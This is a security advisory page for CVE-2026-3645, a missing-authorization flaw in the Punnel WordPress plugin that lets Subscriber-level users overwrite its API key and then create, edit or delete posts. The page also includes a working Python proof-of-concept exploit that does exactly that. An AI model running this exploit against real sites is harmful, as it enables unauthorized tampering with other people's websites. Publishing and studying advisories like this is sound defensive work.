Security Vulnerability Report
中文
CVE-2026-3645 CVSS 5.3 MEDIUM

CVE-2026-3645

Published: 2026-03-21 04:17:33
Last Modified: 2026-04-24 16:27:44

Description

The Punnel – Landing Page Builder plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.3.1. The save_config() function, which handles the 'punnel_save_config' AJAX action, lacks any capability check (current_user_can()) and nonce verification. This makes it possible for authenticated attackers, with Subscriber-level access and above, to overwrite the plugin's entire configuration including the API key via a POST request to admin-ajax.php. Once the API key is known (because the attacker set it), the attacker can use the plugin's public API endpoint (sniff_requests() at /?punnel_api=1) — which only validates requests by comparing a POST token against the stored api_key — to create, update, or delete arbitrary posts, pages, and products on the site.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

The Punnel – Landing Page Builder <= 1.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration target_url = "http://example.com" wp_username = "subscriber" wp_password = "password" attacker_api_key = "pwned_by_attacker" # 1. Authenticate as a low-privileged user (Subscriber) session = requests.Session() login_data = { "log": wp_username, "pwd": wp_password, "redirect_to": target_url + "/wp-admin/", "wp-submit": "Log In" } session.post(target_url + "/wp-login.php", data=login_data) # 2. Exploit Missing Authorization to overwrite API Key # The save_config() function lacks current_user_can() and nonce checks exploit_data = { "action": "punnel_save_config", "api_key": attacker_api_key # Overwriting the stored key } print("[*] Attempting to overwrite API key...") resp = session.post(target_url + "/wp-admin/admin-ajax.php", data=exploit_data) if resp.status_code == 200: print("[+] API key potentially overwritten.") # 3. Use the controlled API key to access the public endpoint # The endpoint /?punnel_api=1 validates requests against the stored api_key api_payload = { "token": attacker_api_key, "action": "create_post", "post_title": "Hacked by CVE-2026-3645", "post_content": "This post was created via privilege escalation." } print("[*] Sending malicious request to public API endpoint...") api_resp = session.post(target_url + "/?punnel_api=1", data=api_payload) print(api_resp.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3645", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:33.017", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Punnel – Landing Page Builder plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 1.3.1. The save_config() function, which handles the 'punnel_save_config' AJAX action, lacks any capability check (current_user_can()) and nonce verification. This makes it possible for authenticated attackers, with Subscriber-level access and above, to overwrite the plugin's entire configuration including the API key via a POST request to admin-ajax.php. Once the API key is known (because the attacker set it), the attacker can use the plugin's public API endpoint (sniff_requests() at /?punnel_api=1) — which only validates requests by comparing a POST token against the stored api_key — to create, update, or delete arbitrary posts, pages, and products on the site."}, {"lang": "es", "value": "El plugin Punnel – Landing Page Builder para WordPress es vulnerable a la falta de autorización en todas las versiones hasta la 1.3.1, inclusive. La función save_config(), que maneja la acción AJAX 'punnel_save_config', carece de cualquier verificación de capacidad (current_user_can()) y verificación de nonce. Esto hace posible que atacantes autenticados, con acceso de nivel Suscriptor y superior, sobrescriban la configuración completa del plugin, incluyendo la clave API, a través de una solicitud POST a admin-ajax.php. Una vez que la clave API es conocida (porque el atacante la configuró), el atacante puede usar el endpoint API público del plugin (sniff_requests() en /?punnel_api=1) — que solo valida las solicitudes comparando un token POST con la api_key almacenada — para crear, actualizar o eliminar publicaciones, páginas y productos arbitrarios en el sitio."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/punnel-landing-page-builder/tags/1.3.1/punnel.php#L118", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/punnel-landing-page-builder/tags/1.3.1/punnel.php#L156", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/punnel-landing-page-builder/tags/1.3.1/punnel.php#L179", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/punnel-landing-page-builder/tags/1.3.1/punnel.php#L403", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/punnel-landing-page-builder/tags/1.3.1/punnel.php#L410", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/punnel-landing-page-builder/trunk/punnel.php#L118", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/punnel-landing-page-builder/trunk/punnel.php#L156", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/punnel-landing-page-builder/trunk/punnel.php#L179", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/punnel-landing-page-builder/trunk/punnel.php#L403", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/punnel-landing-page-builder/trunk/punnel.php#L410", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b6f54ca4-297f-44e8-8bb3-25cdc52f94ff?source=cve", "source": "[email protected]"}]}}